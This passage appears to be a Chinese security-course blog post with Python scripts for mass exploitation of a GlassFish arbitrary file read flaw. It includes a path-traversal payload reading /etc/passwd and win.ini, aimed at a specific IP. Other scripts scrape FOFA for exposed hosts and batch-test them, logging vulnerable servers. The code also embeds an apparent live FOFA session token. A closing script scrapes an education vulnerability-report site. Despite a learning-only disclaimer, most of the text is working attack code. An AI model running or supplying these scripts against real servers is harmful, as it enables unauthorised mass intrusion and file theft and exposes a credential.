p77 Python 开发-批量 FofaSRC 提取POC 验证
数据来源
本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
学习内容和目的:
- ---Request 爬虫技术,lxml 数据提取,异常护理,Fofa 等使用说明
- ---掌握利用公开或 0day 漏洞进行批量化的收集及验证脚本开发
- Python 开发-某漏洞 POC 验证批量脚本
- ---glassfish存在任意文件读取在默认48484端口,漏洞验证的poc为:
案例一:Python 开发-Fofa 搜索结果提取采集脚本
应用服务器glassfish任意文件读取漏洞 (漏洞发现)
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd etc/passwd 是linux系统 如果是Windows就改成/windows/win.ini,然后在fofa上搜索相应的关键字(中间件+端口+国家):
网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统
"glassfish"&& port="4848" # glassfish 查找的关键字 查找对应“4848”端口的资产
1、检测网站是否存在glassfish任意文件读取漏洞
创建一个 Glassfish_poc.py 文件写入以下代码:
import requests # 安装:pip install requests"""1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/' # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统# data_linux = requests.get(url+payload_linux) # 使用requests模块的get方法请求网站获取网站源代码
# data_windows = requests.get(url+payload_windows) # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8')) # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))data_linux = requests.get(url+payload_linux).status_code # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code # 获取请求后的返回状态码
print(data_linux)
print(data_windows)if data_linux == 200 or data_windows == 200: # 判断状态码,200漏洞存在否则不存在print("yes")
else:print("no")
2、实现这个漏洞批量化
1)首先使用Fofa检查一下使用了glassfish这个服务器的网站
选择分页后的URL:
https://fofa.info/result?qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D&page=2&page_size=10)huo
2)获取Fofa搜索后的源代码(HTML代码)
在原来的文件中添加就好
import requests # requests模块是用来发送网络请求的 安装:pip install requests
import base64
"""1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/' # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统# data_linux = requests.get(url+payload_linux) # 获取请求后的返回源代码
# data_windows = requests.get(url+payload_windows) # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8')) # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))data_linux = requests.get(url+payload_linux).status_code # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code # 获取请求后的返回状态码
print(data_linux)
print(data_windows)if data_linux == 200 or data_windows == 200: # 判断状态码,200漏洞存在否则不存在print("yes")
else:print("no")
"""
2、如何实现这个漏洞批量化:1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
# 第1页
search_data = '"glassfish" && port="4848" && country="CN"' # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64=' # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") # 把我们的搜索关键字加密成base64字符串
urls = url + search_data_bs # 拼接网站url
result = requests.get(urls).content # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
etree = html.etree # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
print(urls)
print(result.decode('utf-8'))
3)使用lxml模块中的etree方法提取我们需要的数据(网站的ip)
首先需要明确我们需要的数据是啥,对我们最有价值的数据就是使用了glassfish这个服务器搭建的网站的IP/域名
然后要找到IP/域名在源码中的那个位置,方法:在浏览器中先使用fofa搜索网站 -> 打开开发者工具(F12) ->使用开发者工具栏中的箭头点击我们要查看的IP/域名
在原来的文件中继续更改
import requests # requests模块是用来发送网络请求的 安装:pip install requests
import base64
from lxml import html # lxml 提取HTML数据,安装:pip install lxml"""1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/' # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统# data_linux = requests.get(url+payload_linux) # 获取请求后的返回源代码
# data_windows = requests.get(url+payload_windows) # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8')) # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))data_linux = requests.get(url+payload_linux).status_code # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code # 获取请求后的返回状态码
print(data_linux)
print(data_windows)if data_linux == 200 or data_windows == 200: # 判断状态码,200漏洞存在否则不存在print("yes")
else:print("no")
"""
2、如何实现这个漏洞批量化:1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
# 第1页 && country="CN"
search_data = '"glassfish" && port="4848"' # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64=' # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") # 把我们的搜索关键字加密成base64字符串
urls = url + search_data_bs # 拼接网站url
result = requests.get(urls).content # 使用requests模块的get方法请求网站获取网站源代码,content读取数据
etree = html.etree # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
print(urls)
# print(result.decode('utf-8')) # 查看返回结果
soup = etree.HTML(result) # result.decode('utf-8') 请求返回的HTML代码
ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href') # 公式://标签名称[@属性='属性的值'] ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)
print(ip_data)
最后把数据存储到本地的文件中
改下代码
# set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重
ipdata = '\n'.join(set(ip_data)) # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)
print(ipdata,type(ipdata))with open(r'ip.txt','a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加f.write(ipdata) # write() 方法写入数据f.close() # close() 关闭保存文件
4)实现翻页获取数据
现在只是获取了第一页的数据只有10条,我们这里实现一个翻页,但是这个网站需要我们登录之后才能进行翻页,所以我们先登录一下,然后选择翻页查看网站url路径的变化,如果url没有变化就要打开F12或者使用抓包软件进行查看,因为如果没有变化就说明这个翻页的请求不是get可能是post或者其他
知道了网站是通过page这个参数控制页数后我们也改下自己的代码,如果要改一页的展示数量也可以加上page_size
获取登录后的cookie(用来验证身份的)
改下代码
import requests # requests模块是用来发送网络请求的 安装:pip install requests
import base64
from lxml import html # lxml 提取HTML数据,安装:pip install lxml
import time"""1、检测网站是否存在glassfish任意文件读取漏洞
"""
url='http://200.182.8.121:4848/' # 要检测的网站ip
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' # linux系统
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' # windows系统# data_linux = requests.get(url+payload_linux) # 获取请求后的返回源代码
# data_windows = requests.get(url+payload_windows) # 获取请求后的返回源代码
# print(data_linux.content.decode('utf-8')) # content 查看返回的结果,decode('utf-8') 使用utf-8的编码格式查看
# print(data_windows.content.decode('utf-8'))data_linux = requests.get(url+payload_linux).status_code # 获取请求后的返回状态码
data_windows = requests.get(url+payload_windows).status_code # 获取请求后的返回状态码
print(data_linux)
print(data_windows)if data_linux == 200 or data_windows == 200: # 判断状态码,200漏洞存在否则不存在print("yes")
else:print("no")
"""
2、如何实现这个漏洞批量化:1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
# 循环切换分页
search_data = '"glassfish" && port="4848"' # 搜索的关键字, country 查询的国家 CN 中国
url = 'https://fofa.info/result?qbase64=' # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") # 把我们的搜索关键字加密成base64字符串
headers = { # 请求的头部,用于身份验证'cookie':'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw;'
}
# 这里就是遍历9页数据,如果需要更多也可以把数字改大
for yeshu in range(1,10): # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身try:# print(yeshu) # 1,2,3,4,5,6,7,8,9urls = url + search_data_bs +"&page="+ str(yeshu) +"&page_size=10" # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据print(f"正在提取第{yeshu}页数据")# urls 请求的URL headers 请求头,里面包含身份信息result = requests.get(urls,headers=headers).content # 使用requests模块的get方法请求网站获取网站源代码,content读取数据etree = html.etree # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档print(urls)# print(result.decode('utf-8')) # 查看返回结果soup = etree.HTML(result) # result.decode('utf-8') 请求返回的HTML代码ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href') # 公式://标签名称[@属性='属性的值'] ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)# set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重ipdata = '\n'.join(set(ip_data)) # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)time.sleep(0.5) # time.sleep(0.5) 阻塞0.5秒,让程序不要执行太快不然容易报错if ipdata == '': # 我的fofa账号就是普通的账号,没开通会员可以查看上网数据有限,所以这里写个判断print(f"第{yeshu}页数据,提取失败数据为空,没有权限")else:print(f"第{yeshu}页数据{ipdata}")with open(r'ip.txt','a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加f.write(ipdata) # write() 方法写入数据f.close() # close() 关闭保存文件except Exception as e:pass
然后如果要检查这些网站的漏洞就把文件内的数据读取出来按照之前的检测步骤就可以批量检测了
5)实现批量检测漏洞,在同级目录下创建 check_vuln.py 写入如下代码:
import requests,timedef poc_check():payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'for ip in open('ip.txt'): # ip.txt 就是刚才我们通过fofa提取出来的目标网站ipip = ip.replace('\n', '') # replace() 方法替换字符串,将换行替换为空try:print(f"正在检测:{ip}")# requests模块是用来发送网络请求的 .get() 发送get请求 status_code获取请求之后的状态码,200正常发送说明存在漏洞vuln_code_l = requests.get(ip + payload_linux).status_code # 发送检测linux系统的请求,因为我们现在也不知道目标是什么操作系统所以都发送试试vuln_code_w = requests.get(ip + payload_windows).status_code # 发送检测windows系统的请求print(vuln_code_l,vuln_code_w)if vuln_code_l == 200 or vuln_code_w == 200: # 判断当前网站是否存在漏洞# print(poc_data.content.decode('utf-8'))print("-----------")with open(r'vuln.txt','a') as f: # 将存在漏洞的网站url存入本地文件中f.write(ip+'\n') # write()文件写入方法,\n 换行让一个url占一行f.close()time.sleep(0.5)except Exception as e:print(e)if __name__ == '__main__':poc_check()
6)漏洞利用这个漏洞就是一个任意文件读取的漏洞,我们只需要访问网站ip+ 攻击的url+要查看的文件路径
访问网站的url/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/要查看的文件
7)代码优化
将Glassfish_poc.py文件的代码改下,过程:将两个文件合成了一个,支持从外部传入数据调用程序
import requests # requests模块是用来发送网络请求的 安装:pip install requests
import base64
from lxml import html # lxml 提取HTML数据,安装:pip install lxml
import time
import sys"""
1、批量收集使用了应用服务器glassfish的网站ip/域名:1) 获取到可能存在漏洞的地址信息-借助Fofa进行获取目标1.2) 将请求的数据进行筛选2) 批量请求地址信息进行判断是否存在-单线程和多线程
"""
def fofa_search(search_data:str,page:int,cookie:str=''):"""批量收集使用了应用服务器glassfish的网站IP的批量化函数:param search_data: 接收fofa的搜索关键字:param page: 接收fofa的数据读取页数:param cookie: 接收fofa的登录后的cookie用于身份验证:return: Nono"""url = 'https://fofa.info/result?qbase64=' # fofa网站的url ?qbase64= 请求参数(需要base64字符串格式的参数)search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") # 把我们的搜索关键字加密成base64字符串if cookie =='': # 如果没有传入cookie就使用默认的cookie = 'fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MjUxMjA0LCJtaWQiOjEwMDE0MzE2OSwidXNlcm5hbWUiOiLpk7bmsrMiLCJleHAiOjE2NzgzNTkxOTR9.6TcINucthbtdmQe3iOOwkzJCoaRJWcfWzMoTq-886pCOPz9VKAWCqmi9eOvLRj4o8SBn9OlthV3V7Iqb_7uLUw;'headers = { # 请求的头部,用于身份验证'cookie':cookie}# 这里就是遍历9页数据,如果需要更多也可以把数字改大for yeshu in range(1,page+1): # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身try:# print(yeshu) # 1,2,3,4,5,6,7,8,9urls = url + search_data_bs +"&page="+ str(yeshu) +"&page_size=10" # 拼接网站url,str()将元素转换成字符串,page页数, page_size每页展示多少条数据print(f"正在提取第{yeshu}页数据")# urls 请求的URL headers 请求头,里面包含身份信息result = requests.get(urls,headers=headers).content # 使用requests模块的get方法请求网站获取网站源代码,content读取数据etree = html.etree # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档print(urls)# print(result.decode('utf-8')) # 查看返回结果soup = etree.HTML(result) # result.decode('utf-8') 请求返回的HTML代码ip_data = soup.xpath('//span[@class="hsxa-host"]/a[@target="_blank"]/@href') # 公式://标签名称[@属性='属性的值'] ,意思是先找span标签class等于hsxa-host的然后在提取其内部的a标签属性为@target="_blank"的href属性出来(就是一个筛选数据的过程,筛选符合条件的)# set() 将容器转换为集合类型,因为集合类型不会存储重复的数据,给ip去下重ipdata = '\n'.join(set(ip_data)) # join()将指定的元素以\n换行进行拆分在拼接(\n也可以换成其他字符,不过这里的需求就是把列表拆分成一行一个ip,方便后面的文件写入)time.sleep(0.5) # time.sleep(0.5) 阻塞0.5秒,让程序不要执行太快不然容易报错if ipdata == '': # 我的fofa账号就是普通的账号,没开通会员可以查看上网数据有限,所以这里写个判断print(f"第{yeshu}页数据,提取失败数据为空,没有权限")else:print(f"第{yeshu}页数据{ipdata}")# with open 语法 会在文件操作完成后自动关闭文件,就相当自动执行 f.close() 方法with open(r'ip.txt','a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加f.write(ipdata) # write() 方法写入数据except Exception as e:pass
"""2、批量检测网站是否存在应用服务器glassfish任意文件读取漏洞
"""
def check_vuln():"""批量检测ip.txt文件中网站是否存在漏洞,收集起来放入vuln.txt中:return: None"""payload_linux = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'payload_windows = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'for ip in open('ip.txt'): # ip.txt 就是刚才我们通过fofa提取出来的目标网站ipip = ip.replace('\n', '') # replace() 方法替换字符串,将换行替换为空try:print(f"正在检测:{ip}")# requests模块是用来发送网络请求的 .get() 发送get请求 status_code获取请求之后的状态码,200正常发送说明存在漏洞vuln_code_l = requests.get(ip + payload_linux).status_code # 发送检测linux系统的请求,因为我们现在也不知道目标是什么操作系统所以都发送试试vuln_code_w = requests.get(ip + payload_windows).status_code # 发送检测windows系统的请求print(vuln_code_l, vuln_code_w)if vuln_code_l == 200 or vuln_code_w == 200: # 判断当前网站是否存在漏洞# print(poc_data.content.decode('utf-8'))with open(r'vuln.txt', 'a') as f: # 将存在漏洞的网站url存入本地文件中f.write(ip + '\n') # write()文件写入方法,\n 换行让一个url占一行time.sleep(0.5)except Exception as e:print(e)if __name__ == '__main__':try:search = sys.argv[1] # 接收外部传进来的第一个参数,搜索的参数page = sys.argv[2] # 接收外部传进来的第二个参数,搜索的页数fofa_search(search,int(page)) # 批量收集网站ipexcept Exception as e: # 如果没有在外部传入两参数,就会报错search = '"glassfish" && port="4848" && country="CN"' # 搜索的关键字, country 查询的国家 CN 中国page = 10fofa_search(search,page) # 手动传入参数check_vuln() # 批量检测网站是否存在漏洞
如果配置了python的系统环境变量,执行命令的pthon执行程序也可以不写,直接写项目路径+参数
F:\python项目\python_study\day77\Glassfish_poc.py glassfish 10
案例二、Python 开发-教育 SRC 报告平台信息提取脚本
平台链接:漏洞列表 | 教育漏洞报告平台
1)收集漏洞信息
import requests
from lxml import html# 从教育漏洞报告平台中提取之前网络安全的前辈提交的漏洞报告
etree = html.etree # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
for i in range(1,2):url='https://src.sjtu.edu.cn/list/?page='+str(i) # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身data = requests.get(url).content # 使用requests模块的get方法请求网站获取网站源代码,content读取数据# print(data.decode('utf-8')) # 请求返回的HTML代码soup = etree.HTML(data)result = soup.xpath('//td[@class="am-text-center"]/a/text()') # 提取符合标签为td属性class值为am-text-center这个标签内的a标签text()a标签的值/内容results = '\n'.join(result).split() # join()将指定的元素以\n换行进行拆分在拼接 split()方法不传参数就是清除两边的空格print(results)
2)优化代码,并把收集到的数据保存到本地文件中
import requests
from lxml import html# 从教育漏洞报告平台中提取之前网络安全的前辈提交的漏洞报告
etree = html.etree # lxml 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档
def src_tiqu(yeshu):for i in range(1,yeshu + 1 ):url='https://src.sjtu.edu.cn/list/?page='+str(i) # range(num1,num2) 创建一个数序列如:range(1,10) [1,2,...,9] 不包括num2自身print(f'正在读取第{i}页数据')data = requests.get(url).content # 使用requests模块的get方法请求网站获取网站源代码,content读取数据# print(data.decode('utf-8')) # 请求返回的HTML代码soup = etree.HTML(data)result = soup.xpath('//td[@class="am-text-center"]/a/text()') # 提取符合标签为td属性class值为am-text-center这个标签内的a标签text()a标签的值/内容results = '\n'.join(result).split() # join()将指定的元素以\n换行进行拆分在拼接 split()方法不传参数就是清除两边的空格print(results)for edu in results: # 遍历results列表拿到每一项# print(edu)with open(r'src_edu.txt', 'a+', encoding='utf-8') as f: # open()打开函数 with open打开函数与open()的区别就是使用完成后会自动关闭打开的文件 a+:以读写模式打开,如果文件不存在就创建,以存在就追加 encoding 指定编码格式f.write(edu + '\n')if __name__ == '__main__': # __main__ 就是一个模块的测试变量,在这个判断内的代码只会在运行当前模块才会执行,在模块外部引入文件进行调用是不会执行的yeshu = int(input("您要爬取多少页数据:"))src_tiqu(yeshu)
涉及资源:
p77 Python 开发-批量 FofaSRC 提取POC 验证相关推荐
- 纯 python 开发批量读取照片 Exif 信息的小程序
自己动手写一些小程序解决工作中的问题,是学习 python 的高效途径.这中间会遇到一些不动手想不到的问题,一个一个地解决它们,你 python 开发水平就会突飞猛进! 本文总结一下实战 python ...
- python开发“小迪安全课堂笔记”
python开发 Python 开发相关知识点: 基础环境安装 Python 开发-内外网收集 Socket&子域名&DNS 演示案例 涉及资源: Python 开发-批量 Fofa& ...
- p79 Python 开发-sqlmapapiTamperPocsuite(含安全狗的安装与开启网站防护)
数据来源 本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关. # 知识点: Request 爬虫技术 ...
- 小迪渗透python开发(拾壹)
文章目录 76. 内网收集Scoket&子域名&DNS(76-79) 应急响应补充知识点 Python 开发相关知识点: 知识点: 演示案例: 涉及资源: 77. 批量Fofa& ...
- 使用Python开发的POC多线程批量执行小框架
因为代码量非常少,所以就叫"小框架"吧. 接口非常简陋,但是好处是适配POC脚本的时候很灵活,兼容性高,不需要任何研究成本. 简单来说,你按照自己的想法和习惯开发一个POC验证程序 ...
- 用Python自动批量提取Tableau报表数据源中用的数据库表
一.背景 我们公司很多部门都有人会用Tableau等可视化开发工具开发各类报表,并发布到报表平台进行共享查看.我所在的团队负责公司BI平台的运维管理,面对数量日益增加的各种报表,为了方便统一规范和监控 ...
- 漏洞应急响应之批量poc验证
1.文章难易度 [★★★] 2.文章知识点: python,poc验证; 3.文章作者: 野驴 4.本文参与 i春秋学院原创文章奖励计划,未经许可禁止转载! 0x01前言 当互联网爆出高危漏洞, ...
- python怎么批量处理数据_python如何批量处理excel数据?_后端开发
php赋值运算符有哪些_后端开发 php赋值运算符有:1.[=]赋值运算符:2.[+=]加运算符:3.[-=]减运算符:4.[*=]乘运算符:5.[/=]除运算符:6.[.=]连接字符运算符:7.[% ...
- MODIS数据下载,HEG批量拼接处理,arcmap批量掩膜提取,python栅格计算
前言: 2022.12.30修改:补Python编程基础的过程中发现使用Print也可以向文件里写东西,查看写过的代码,然后发现HEG批量拼接处理代码中有的地方在复制粘贴至博客的时候出现了缩进错误,评 ...
最新文章
- android canvas_Android仿IOS11 控制中心进度条
- Application Architecture Guide 2.0 - CH 19 - Mobile Applications(5)
- MySQL数据库(十) 一一 数据库的导出和导入
- cmake编译时遇到的问题解决
- 51nod 1766
- 华为鸿蒙网络,这回真翻脸了?被谷歌“除名”,官宣鸿蒙手机版,华为:走着瞧...
- java 合并流_Java Stream 流实现合并操作示例
- Android之在不同的Activity之间传递数据
- ETL调度开发(5)——连接数据库运行数据库命令子程序
- 网易云ncm文件转mp3
- 超标量处理器设计 姚永斌 第7章 寄存器重命名 摘录
- 右键 git找不到应用程序
- C 语言实例 - 判断元音/辅音
- MFC更改对话框的背景色
- android10rom包,安卓10的刷机教程,教你刷好Killer的精简包
- 筑梦品牌:推动品牌建设致力于打造好中国品牌
- Html5-------合并单元格
- 【ACM程序设计实验】高分课程实验报告分享
- 【代码】PS2摇杆控制oled上点的移动(基于arduino uno)
- 基于群智能的路径规划算法(三)------遗传算法
热门文章
- Rattle :基于R的数据挖掘工具(1):简介和安装
- 渐变过渡的相册(shader)
- 云闪付小程序开发环境搭建
- NOIP2014 飞扬的小鸟 题解
- 【论文翻译】DBpedia - A Crystallization Point for the Web of Data-2009
- fatfs 文件属性_FatFS文件系统
- easyocr快速安装及图片文字提取演示(小语种)
- 基于Android日程管理工具的设计与开发
- “安居客“住房系统-基于Python-Django前后端分离开发(二)——基于RESTful架构的数据接口配置以及Redis高速缓存
- 房地产需求和应用的思索